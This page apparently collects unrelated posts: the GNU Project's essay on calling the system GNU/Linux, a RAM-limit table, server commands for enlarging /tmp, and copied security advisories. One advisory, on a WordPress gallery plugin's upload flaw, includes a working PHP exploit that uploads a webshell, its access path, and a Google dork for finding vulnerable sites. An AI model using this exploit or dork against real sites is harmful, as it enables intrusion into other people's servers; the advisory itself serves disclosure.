Linux is just the kernel, GNU is the OS.

This is an interesting read and some old history copied from http://www.gnu.org/gnu/linux-and-gnu.html

Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called “Linux”, and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.

There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine’s resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called “Linux” distributions are really distributions of GNU/Linux.

Many users do not understand the difference between the kernel, which is Linux, and the whole system, which they also call “Linux”. The ambiguous use of the name doesn’t help people understand. These users often think that Linus Torvalds developed the whole operating system in 1991, with a bit of help.

Programmers generally know that Linux is a kernel. But since they have generally heard the whole system called “Linux” as well, they often envisage a history that would justify naming the whole system after the kernel. For example, many believe that once Linus Torvalds finished writing Linux, the kernel, its users looked around for other free software to go with it, and found that (for no particular reason) most everything necessary to make a Unix-like system was already available.

What they found was no accident—it was the not-quite-complete GNU system. The available free software added up to a complete system because the GNU Project had been working since 1984 to make one. In the The GNU Manifesto we set forth the goal of developing a free Unix-like system, called GNU. The Initial Announcement of the GNU Project also outlines some of the original plans for the GNU system. By the time Linux was started, GNU was almost finished.

Most free software projects have the goal of developing a particular program for a particular job. For example, Linus Torvalds set out to write a Unix-like kernel (Linux); Donald Knuth set out to write a text formatter (TeX); Bob Scheifler set out to develop a window system (the X Window System). It’s natural to measure the contribution of this kind of project by specific programs that came from the project.

If we tried to measure the GNU Project’s contribution in this way, what would we conclude? One CD-ROM vendor found that in their “Linux distribution”, GNU software was the largest single contingent, around 28% of the total source code, and this included some of the essential major components without which there could be no system. Linux itself was about 3%. (The proportions in 2008 are similar: in the “main” repository of gNewSense, Linux is 1.5% and GNU packages are 15%.) So if you were going to pick a name for the system based on who wrote the programs in the system, the most appropriate single choice would be “GNU”.

But that is not the deepest way to consider the question. The GNU Project was not, is not, a project to develop specific software packages. It was not a project to develop a C compiler, although we did that. It was not a project to develop a text editor, although we developed one. The GNU Project set out to develop a complete free Unix-like system: GNU.

Many people have made major contributions to the free software in the system, and they all deserve credit for their software. But the reason it is an integrated system—and not just a collection of useful programs—is because the GNU Project set out to make it one. We made a list of the programs needed to make a complete free system, and we systematically found, wrote, or found people to write everything on the list. We wrote essential but unexciting (1) components because you can’t have a system without them. Some of our system components, the programming tools, became popular on their own among programmers, but we wrote many components that are not tools (2). We even developed a chess game, GNU Chess, because a complete system needs games too.

By the early 90s we had put together the whole system aside from the kernel. We had also started a kernel, the GNU Hurd, which runs on top of Mach. Developing this kernel has been a lot harder than we expected; the GNU Hurd started working reliably in 2001, but it is a long way from being ready for people to use in general.

Fortunately, we didn’t have to wait for the Hurd, because of Linux. Once Torvalds freed Linux in 1992, it fit into the last major gap in the GNU system. People could thencombine Linux with the GNU system to make a complete free system — a version of the GNU system which also contained Linux. The GNU/Linux system, in other words.

Making them work well together was not a trivial job. Some GNU components(3) needed substantial change to work with Linux. Integrating a complete system as a distribution that would work “out of the box” was a big job, too. It required addressing the issue of how to install and boot the system—a problem we had not tackled, because we hadn’t yet reached that point. Thus, the people who developed the various system distributions did a lot of essential work. But it was work that, in the nature of things, was surely going to be done by someone.

The GNU Project supports GNU/Linux systems as well as the GNU system. The FSF funded the rewriting of the Linux-related extensions to the GNU C library, so that now they are well integrated, and the newest GNU/Linux systems use the current library release with no changes. The FSF also funded an early stage of the development of Debian GNU/Linux.

Today there are many different variants of the GNU/Linux system (often called “distros”). Most of them include non-free software—their developers follow the philosophy associated with Linux rather than that of GNU. But there are also completely free GNU/Linux distros. The FSF supports computer facilities for two of these distributions, Ututoand gNewSense.

Making a free GNU/Linux distribution is not just a matter of eliminating various non-free programs. Nowadays, the usual version of Linux contains non-free programs too. These programs are intended to be loaded into I/O devices when the system starts, and they are included, as long series of numbers, in the “source code” of Linux. Thus, maintaining free GNU/Linux distributions now entails maintaining a free version of Linux too.

Whether you use GNU/Linux or not, please don’t confuse the public by using the name “Linux” ambiguously. Linux is the kernel, one of the essential major components of the system. The system as a whole is basically the GNU system, with Linux added. When you’re talking about this combination, please call it “GNU/Linux”.

If you want to make a link on “GNU/Linux” for further reference, this page and http://www.gnu.org/gnu/the-gnu-project.html are good choices. If you mention Linux, the kernel, and want to add a link for further reference, http://foldoc.org/linux is a good URL to use.

Addendum: Aside from GNU, one other project has independently produced a free Unix-like operating system. This system is known as BSD, and it was developed at UC Berkeley. It was non-free in the 80s, but became free in the early 90s. A free operating system that exists today(4) is almost certainly either a variant of the GNU system, or a kind of BSD system.

People sometimes ask whether BSD too is a version of GNU, like GNU/Linux. The BSD developers were inspired to make their code free software by the example of the GNU Project, and explicit appeals from GNU activists helped persuade them, but the code had little overlap with GNU. BSD systems today use some GNU programs, just as the GNU system and its variants use some BSD programs; however, taken as wholes, they are two different systems that evolved separately. The BSD developers did not write a kernel and add it to the GNU system, and a name like GNU/BSD would not fit the situation.(5)

Notes:

  1. These unexciting but essential components include the GNU assembler, GAS and the linker, GLD, both are now part of the GNU Binutils package, GNU tar, and more.
  2. For instance, The Bourne Again SHell (BASH), the PostScript interpreter Ghostscript, and the GNU C library are not programming tools. Neither are GNUCash, GNOME, and GNU Chess.
  3. For instance, the GNU C library.
  4. Since that was written, a nearly-all-free Windows-like system has been developed, but technically it is not at all like GNU or Unix, so it doesn’t really affect this issue. Most of the kernel of Solaris has been made free, but if you wanted to make a free system out of that, aside from replacing the missing parts of the kernel, you would also need to put it into GNU or BSD.
  5. On the other hand, in the years since this article was written, the GNU C Library has been ported to several versions of the BSD kernel, which made it straightforward to combine the GNU system with that kernel. Just as with GNU/Linux, these are indeed variants of GNU, and are therefore called, for instance, GNU/kFreeBSD and GNU/kNetBSD depending on the kernel of the system. Ordinary users on typical desktops can hardly distinguish between GNU/Linux and GNU/*BSD.

Can I add more RAM to my 32 bit Operating System (OS)?

Some 32 bit Operating Systems (OS) limit the amount of RAM they will support. Exceeding that limit may contribute to a number of problems. Therefore it is not supported. Upgrading to a 64 bit Operating Systems (OS) is recommended. A list of 32 bit Operating Systems (OS) with limited RAM is below.

 

Operating System (OS)

Bit

RAM Limit (GB)

CloudLinux 5 32 bit 64
CloudLinux 6 32 bit 8
Debian 6 32 bit 32
RHEL/CentOS 5 Minimal/LAMP 32 bit 64
RHEL/CentOS 6 Minimal/LAMP 32 bit 16
Ubuntu 8.04 LTS 32 bit 64
Ubuntu 10.04 LTS 32 bit 64
Ubuntu 12.04 LTS 32 bit 64

How to increase /tmp partition size on a non-control panel server

Stop Apache and MySQL services.

# /etc/init.d/httpd stop; /etc/init.d/mysql stop

Take a backup of /tmp

# cp -rp /tmp /tmp.bak

Create a partition of 2GB using the below command

# dd if=/dev/zero of=/usr/temp-disk bs=2M count=1024

Create the file system on it using the mke2fs command

# mke2fs -j /usr/temp-disk

Unmount the current /tmp partition

# umount /tmp

Mount the new /tmp filesystem using the below command

# mount -t ext3 -o rw,noexec,nosuid,loop /usr/temp-disk /tmp

Set the correct permission for /tmp

# chmod 1777 /tmp

To verify the partition, execute:

# mount

Restore the content of old /tmp.bkp directory

# cp -rp /tmp.bak/* /tmp

Start Apache and MySQL services.

# /etc/init.d/httpd start; /etc/init.d/mysql start

To make sure this partition is mounted automatically after every reboot, edit the /etc/fstab and replace /tmp entry line with the following one.

/usr/temp-disk /tmp ext3 rw,noexec,nosuid,loop 0 0

Increase /tmp partition size in cPanel and secure it

1. Stop cpanel, apache (or whatever webserver you are using), mysql services:

/etc/init.d/cpanel stop
/etc/init.d/httpd stop
/etc/init.d/mysql stop

2. Umount /tmp and /var/tmp:

umount -l /tmp
umount -l /var/tmp

3. Move /usr/tmpDSK file to another location (just in case you’ll need to mount it somewhere else to preserve data):

mv /usr/tmpDSK /usr/tmpDSK_back

4. Modify /scripts/securetmp to set tmpdsksize to desired size:

vi /scripts/securetmp

$tmpdsksize = 2048000

5. Run:

/scripts/securetmp

6. Start cpanel, apache (webserver), mysql services:

/etc/init.d/cpanel start
/etc/init.d/httpd start
/etc/init.d/mysql start

WordPress Plugin Complete Gallery Manager 3.3.3 – Arbitrary File Upload Vulnerability

A arbitrary file upload web vulnerability is detected in the CodeCanyon WordPress Plugin Complete Gallery Manager v3.3.3 Web-Application.

The vulnerability allows remote attackers to upload files via POST method with multiple extensions to unauthorized access them on
application-side of the service.
The vulnerability is located in the /plugins/complete-gallery-manager/frames/ path when processing to upload via the  upload-images.php
file own malicious context or webshells. After the upload the remote attacker can access the file with one extension and exchange it with the
other one to execute for example php codes.
Exploitation of the vulnerability requires no user interaction and also without privilege application user account (no password standard).
Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.
Vulnerable Application(s):
                [+] CodeCanyon - Complete Gallery Manager
Vulnerable Module(s):
                [+] Image File Upload
Vulnerable File(s):
                [+] upload-images.php
Affected Module(s):
                [+] Application Index Listing (http://localhost:8000/)
Proof of Concept:
=================
The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For demonstration or reproduce ...
Vuln page :
http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
Exploit :
<?php
$uploadfile="up.php";
$ch = curl_init("http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php");
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Shell Upload Access Path : http://wordpress.localhost:8080/wp-content/2013/09/up.php
Google Dork: allinurl:/wp-content/plugins/complete-gallery-manager/
Reference(s):
http://xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://www.xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://xxx.org/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
Risk:
=====
The security risk of the arbitrary file upload web vulnerability is estimated as high(+).

Google Chrome Prior to 19 Multiple Security Vulnerabilities

Google Chrome is prone to multiple vulnerabilities.

Attackers can exploit these issues to execute arbitrary code in the context of the browser, bypass security restrictions or cause denial-of-service conditions; other attacks may also be possible.

Versions prior to Chrome 19 are vulnerable.

CVE: CVE-2011-3083
CVE-2011-3084
CVE-2011-3085
CVE-2011-3086
CVE-2011-3087
CVE-2011-3088
CVE-2011-3089
CVE-2011-3090
CVE-2011-3091
CVE-2011-3092
CVE-2011-3093
CVE-2011-3094
CVE-2011-3095
CVE-2011-3096
CVE-2011-3097
CVE-2011-3098
CVE-2011-3099
CVE-2011-3100
CVE-2011-3101
CVE-2011-3102
Remote: Yes
Local: No
Published: May 15 2012 12:00AM
Updated: Sep 22 2013 12:11AM
Vulnerable: Xerox FreeFlow Print Server (FFPS) 73.C0.41
Xerox FreeFlow Print Server (FFPS) 73.B3.61
VMWare ESX Server 4.1
VMWare ESX Server 4.0
VMWare ESX Server 3.5
VMWare ESX 4.1
VMWare ESX 4.0
VMWare ESX 3.5
Ubuntu Ubuntu Linux 8.04 LTS sparc
Ubuntu Ubuntu Linux 8.04 LTS powerpc
Ubuntu Ubuntu Linux 8.04 LTS lpia
Ubuntu Ubuntu Linux 8.04 LTS i386
Ubuntu Ubuntu Linux 8.04 LTS amd64
Ubuntu Ubuntu Linux 12.04 LTS i386
Ubuntu Ubuntu Linux 12.04 LTS amd64
Ubuntu Ubuntu Linux 11.10 i386
Ubuntu Ubuntu Linux 11.10 amd64
Ubuntu Ubuntu Linux 11.04 powerpc
Ubuntu Ubuntu Linux 11.04 i386
Ubuntu Ubuntu Linux 11.04 ARM
Ubuntu Ubuntu Linux 11.04 amd64
Ubuntu Ubuntu Linux 10.04 sparc
Ubuntu Ubuntu Linux 10.04 powerpc
Ubuntu Ubuntu Linux 10.04 i386
Ubuntu Ubuntu Linux 10.04 ARM
Ubuntu Ubuntu Linux 10.04 amd64
SuSE openSUSE 12.1
Sun Solaris 9
Sun Solaris 11
Sun Solaris 10_x86
Sun Solaris 10_sparc
SRWare Iron 18.0.1050.0
SRWare Iron 15.0.900.1
SRWare Iron 15
RedHat Enterprise Linux Optional Productivity Application 5 server
RedHat Enterprise Linux Desktop Workstation 5 client
Red Hat Fedora 17
Red Hat Fedora 16
Red Hat Enterprise Linux Workstation Optional 6
Red Hat Enterprise Linux Workstation 6
Red Hat Enterprise Linux Server Optional 6
Red Hat Enterprise Linux Server 6
Red Hat Enterprise Linux HPC Node Optional 6
Red Hat Enterprise Linux HPC Node 6
Red Hat Enterprise Linux Desktop Optional 6
Red Hat Enterprise Linux Desktop 6
Red Hat Enterprise Linux Desktop 5 client
Red Hat Enterprise Linux 5 Server
Oracle Enterprise Linux 6.2
Oracle Enterprise Linux 6
Mandriva Linux Mandrake 2011 x86_64
Mandriva Linux Mandrake 2011
Mandriva Linux Mandrake 2010.1 x86_64
Mandriva Linux Mandrake 2010.1
MandrakeSoft Enterprise Server 5 x86_64
MandrakeSoft Enterprise Server 5
Google Chrome 17.0.963 79
Google Chrome 17.0.963 65
Google Chrome 16.0.912 75
Google Chrome 15.0.874 102
Google Chrome 18.0.1025.168
Google Chrome 18.0.1025.151
Google Chrome 18.0.1025.142
Google Chrome 17.0.963.83
Google Chrome 17.0.963.78
Google Chrome 17.0.963.60
Google Chrome 17.0.963.56
Google Chrome 17.0.963.46
Google Chrome 16.0.912.77
Google Chrome 16.0.912.75
Google Chrome 16.0.912.63
Google Chrome 16
Google Chrome 15.0.874.121
Google Chrome 15.0.874.120
Google Chrome 14.0.835.202
Google Chrome 14.0.835.186
Google Chrome 14.0.835.163
Google Chrome 14
Google Chrome 13.0.782.215
Google Chrome 13.0.782.112
Google Chrome 13.0.782.107
Google Chrome 13
Google Chrome 12.0.742.91
Google Chrome 12.0.742.112
Google Chrome 12.0.742.100
Google Chrome 12
Google Chrome 11.0.696.77
Google Chrome 11.0.696.71
Google Chrome 11.0.696.68
Google Chrome 11.0.696.65
Google Chrome 11.0.696.57
Google Chrome 11.0.696.43
Google Chrome 11.0.696.43
Google Chrome 11.0.672.2
Google Chrome 11
Google Chrome 10.0.648.205
Google Chrome 10.0.648.205
Google Chrome 10.0.648.205
Google Chrome 10.0.648.204
Google Chrome 10.0.648.133
Google Chrome 10.0.648.128
Google Chrome 10.0.648.127
Google Chrome 10.0.648.127
Google Chrome 10
Gentoo Linux
Debian Linux 6.0 sparc
Debian Linux 6.0 s/390
Debian Linux 6.0 powerpc
Debian Linux 6.0 mips
Debian Linux 6.0 ia-64
Debian Linux 6.0 ia-32
Debian Linux 6.0 arm
Debian Linux 6.0 amd64
CentOS CentOS 6
Avaya Voice Portal 5.1.2
Avaya Voice Portal 5.1.1
Avaya Voice Portal 5.1 SP1
Avaya Voice Portal 5.1
Avaya Voice Portal 5.1
Avaya Voice Portal 5.0 SP2
Avaya Voice Portal 5.0 SP1
Avaya Voice Portal 5.0
Avaya Proactive Contact 5.0
Avaya Meeting Exchange 5.2 SP2
Avaya Meeting Exchange 5.2 SP1
Avaya Meeting Exchange 5.2
Avaya Meeting Exchange 5.1 SP1
Avaya Meeting Exchange 5.1
Avaya Meeting Exchange 5.0 SP2
Avaya Meeting Exchange 5.0 SP1
Avaya Meeting Exchange 5.0
Avaya IQ 5.2
Avaya IQ 5.1.1
Avaya IQ 5.1
Avaya Conferencing Standard Edition 6.0 SP1
Avaya Conferencing Standard Edition 6.0
Avaya Communication Server 1000M Signaling Server 7.5
Avaya Communication Server 1000M Signaling Server 7.0
Avaya Communication Server 1000M Signaling Server 6.0
Avaya Communication Server 1000M 7.5
Avaya Communication Server 1000M 7.0
Avaya Communication Server 1000M 6.0
Avaya Communication Server 1000E Signaling Server 7.5
Avaya Communication Server 1000E Signaling Server 7.0
Avaya Communication Server 1000E Signaling Server 6.0
Avaya Communication Server 1000E 7.5
Avaya Communication Server 1000E 7.0
Avaya Communication Server 1000E 6.0
Avaya Aura System Platform 6.0.2
Avaya Aura System Platform 6.0.1
Avaya Aura System Platform 6.0 SP3
Avaya Aura System Platform 6.0 SP2
Avaya Aura System Platform 6.0
Avaya Aura System Platform 1.1
Avaya Aura System Manager 6.2
Avaya Aura System Manager 6.1.3
Avaya Aura System Manager 6.1.2
Avaya Aura System Manager 6.1.1
Avaya Aura System Manager 6.1 SP2
Avaya Aura System Manager 6.1 Sp1
Avaya Aura System Manager 6.1
Avaya Aura System Manager 6.0 SP1
Avaya Aura System Manager 6.0
Avaya Aura System Manager 5.2
Avaya Aura Session Manager 6.2.1
Avaya Aura Session Manager 6.1.3
Avaya Aura Session Manager 6.1.2
Avaya Aura Session Manager 6.1.1
Avaya Aura Session Manager 6.2
Avaya Aura Session Manager 6.1 SP2
Avaya Aura Session Manager 6.1 Sp1
Avaya Aura Session Manager 6.1
Avaya Aura Session Manager 6.0 SP1
Avaya Aura Session Manager 6.0
Avaya Aura Session Manager 5.2 SP2
Avaya Aura Session Manager 5.2 SP1
Avaya Aura Session Manager 5.2
Avaya Aura Session Manager 1.1
Avaya Aura Session Manager 1.0
Avaya Aura Presence Services 6.1.1
Avaya Aura Presence Services 6.1
Avaya Aura Presence Services 6.0
Avaya Aura Presence Services 5.2
Avaya Aura Messaging 6.1
+ Avaya Communication Manager Server DEFINITY Server SI/CS
+ Avaya Communication Manager Server S8100
+ Avaya Communication Manager Server S8300
+ Avaya Communication Manager Server S8500
+ Avaya Communication Manager Server S8700
Avaya Aura Messaging 6.0.1
Avaya Aura Messaging 6.0
Avaya Aura Experience Portal 6.0
Avaya Aura Communication Manager Utility Services 6.2
Avaya Aura Communication Manager Utility Services 6.1
+ Avaya Communication Manager Server DEFINITY Server SI/CS
+ Avaya Communication Manager Server S8100
+ Avaya Communication Manager Server S8300
+ Avaya Communication Manager Server S8500
+ Avaya Communication Manager Server S8700
Avaya Aura Communication Manager Utility Services 6.0
Avaya Aura Communication Manager 6.0.1
+ Avaya Communication Manager Server DEFINITY Server SI/CS
+ Avaya Communication Manager Server S8100
+ Avaya Communication Manager Server S8300
+ Avaya Communication Manager Server S8500
+ Avaya Communication Manager Server S8700
Avaya Aura Communication Manager 6.0
Avaya Aura Communication Manager 5.2
Avaya Aura Communication Manager 5.1
Avaya Aura Application Server 5300 SIP Core 2.1
Avaya Aura Application Server 5300 SIP Core 2.0
Avaya Aura Application Enablement Services 5.2.1
Avaya Aura Application Enablement Services 6.1.1
Avaya Aura Application Enablement Services 6.1
Avaya Aura Application Enablement Services 5.2.3
Avaya Aura Application Enablement Services 5.2.2
Avaya Aura Application Enablement Services 5.2
Apple Safari 5.0.6
Apple Safari 5.1.7 for Windows
Apple Safari 5.1.7
Apple Safari 5.1.5 for Windows
Apple Safari 5.1.4 for Windows
Apple Safari 5.1.4
Apple Safari 5.1.1 for Windows
Apple Safari 5.1.1
Apple Safari 5.1 for Windows
Apple Safari 5.1
Apple Safari 5.0.6 for windows
Apple Safari 5.0.5 for Windows
Apple Safari 5.0.5
Apple Safari 5.0.4 for Windows
Apple Safari 5.0.4
Apple Safari 5.0.3 for Windows
Apple Safari 5.0.3
Apple Safari 5.0.2 for Windows
Apple Safari 5.0.2
Apple Safari 5.0.1 for Windows
Apple Safari 5.0.1
Apple Safari 5.0 for Windows
Apple Safari 5.0
Apple iTunes 10.6
Apple iTunes 10.5
Apple iTunes 10.2.2
Apple iTunes 10.2
Apple iPod Touch 0
Apple iPhone 0
Apple iPad 0
Apple iOS 5.1.1
Apple iOS 5.1
Apple iOS 5.0.1
Apple iOS 5
Apple iOS 4.3.5
Apple iOS 4.3
Apple iOS 4.2
Apple iOS 4.1
Apple iOS 4
Apple iOS 3.2
Apple iOS 3.1
Apple iOS 3.0
Apple iOS 2.1
Apple iOS 2.0
Apple Apple TV 5.0
Not Vulnerable: Google Chrome 19

 

Solution:
Updates are available. Please see the references for more information.